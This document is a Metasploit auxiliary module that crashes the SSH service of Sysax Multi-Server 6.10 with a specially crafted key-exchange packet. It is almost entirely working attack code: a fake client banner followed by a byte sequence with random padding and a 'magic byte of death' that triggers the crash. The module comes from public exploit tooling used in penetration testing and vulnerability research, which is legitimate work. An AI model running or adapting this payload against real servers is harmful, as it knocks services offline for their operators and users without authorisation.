Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service',  
'Description' => %q{  
This module sends a specially-crafted SSH Key Exchange causing the service to  
crash.  
},  
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '92081'],  
[ 'URL', 'https://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html']  
],  
'DisclosureDate' => '2013-03-17'))  
  
register_options(  
[  
Opt::RPORT(22),  
OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1'])  
])  
  
end  
  
def get_packet  
  
delimiter = "\x00"*3  
packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,  
0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,  
0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,  
0x00, 0x7e].pack("C*")  
packet << Rex::Text.rand_text_alphanumeric(126)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(16)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(158)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(158)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(106)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(106)  
packet << delimiter  
packet << "\x28" # Magic byte of death - seems to work with just about  
# anything except \x1a, the value it's supposed to be  
packet << Rex::Text.rand_text_alphanumeric(26)  
packet << delimiter  
packet << Rex::Text.rand_text_alphanumeric(27)  
packet << delimiter*7  
end  
  
def run  
  
connect  
  
banner = sock.get_once || ''  
print_status("Banner: #{banner.strip}")  
sock.put("SSH-2.0-OpenSSH_5.1p1 " + datastore['CLIENTVERSION'] + "\r\n" + get_packet())  
  
# Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case.  
begin  
sock.get_once  
rescue Errno::ECONNRESET  
end  
  
disconnect  
end  
end  
`